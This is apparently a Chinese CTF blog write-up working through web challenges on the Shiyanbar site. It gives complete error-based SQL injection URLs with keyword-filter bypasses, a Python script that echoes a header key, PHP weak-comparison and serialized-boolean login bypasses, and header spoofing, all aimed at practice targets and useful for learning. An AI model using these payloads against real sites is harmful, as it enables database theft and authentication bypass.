WEB
实验吧-CTF-简单的sql注入思路
这个题过滤的真的是太多了。。。看了wp才搞出来的
先单引号判断。存在注入
暴库
http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat(‘0x7e’,(/!select/ /!database()/ /!from/ flag LIMIT 0,1),’0x7e’),1) or ‘1’=’1
爆表
http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat(‘0x7e’,(/!select/ table_name /!from/ information_schema.tables /!where/ /!ttable_schemaable_schema/ = ‘web1’ LIMIT 0,1),’0x7e’),1) or ‘1’=’1
查字段
http://ctf5.shiyanbar.com/423/web/
?id=1%27%20or%20(updatexml(1,concat(0x7e,(/!select/%20colucolumn_namemn_name%20/!from/%20infoinformation_schema.columnsrmation_schema.columns%20/!where/%20table_name=%27flag%27 limit 0,1),0x7e),1))%20or%20%271%27=%271
查flag
http://ctf5.shiyanbar.com/423/web/
?id=1%27%20or%20(updatexml(1,concat(0x7e,(/!select/ flag /!from/ flag
limit 0,1),0x7e),1))%20or%20%271%27=%271
这里顺便说一下南邮CTF一道题。题目链接 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
这道题是一道宽字节注入。因为单引号被转义了。所以在爆字段的时候需要用到16进制,例如where table_name=0x637466
天下武功唯快不破
抓包在header看到了一串base64加密的东西,解码 是要求你post的key,但每次要改变。1
2
3
4
5
6
7
8import requests as rq
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php"
headers = rq.get(url).headers
key = base64.b64decode(headers['FLAG']).decode().split(':')[1]
post = {'key':key}
s = rq.post(url,data=post)
print(s.text)
Forms
一开始以为是一个爆破。。。都准备写脚本了。
结果抓了个包,发现有两个post参数,一个就是PIN,另一个showsource=0,奇怪,然后把0改为1,居然出现源码了。。这下就很简单了啊
天网管理系统
先是右键查看源码,有这样一段说明
这里需要用到php弱类型比较,所以我传一个md5后为0的字符串 s878926199a ,这个网上有很多的。之后,返回一个/user.php?fame=hjkleffifer
,跟进去。出现页面这样一个页面$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
可以看到是需要将pass和user反序列化都等于某一个值的时候,得到flag。但是,并不知道这个值是多少。他有提示 成也布尔,败也布尔,所以这里要用布尔值来绕过,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度),构造password的值为 a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
这个看起来有点简单!
直接扔sqlmap。得到k0y
上传绕过
这道题是目录截断,之前也没见过这样的题,在这里学习了一波新姿势
https://blog.csdn.net/wy_97/article/details/76549405
貌似有点难
代码审计。直接看源码。需要访问的ip是1.1.1.1。所以直接改XFF头。get flag。
头有点大
根据题意。改user-agent,一开始我将这句话 Make sure you are in the region of England理解为需要我的ip是England。半天没搞出来。。结果看了wp,直接把Accept-Language
改为en-gb
就好了。然后改user-agent为Mozilla/5.0;.NET CLR 9.9
猫抓老鼠
抓包。header里有Content-Row: MTUyNDU2OTk1NA==。。直接post。。。得到key
Once More
传递数组绕过ereg().得到flag
Guess Next Session
抓包 清楚Session就行了。
FALSE
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=s878926199a
##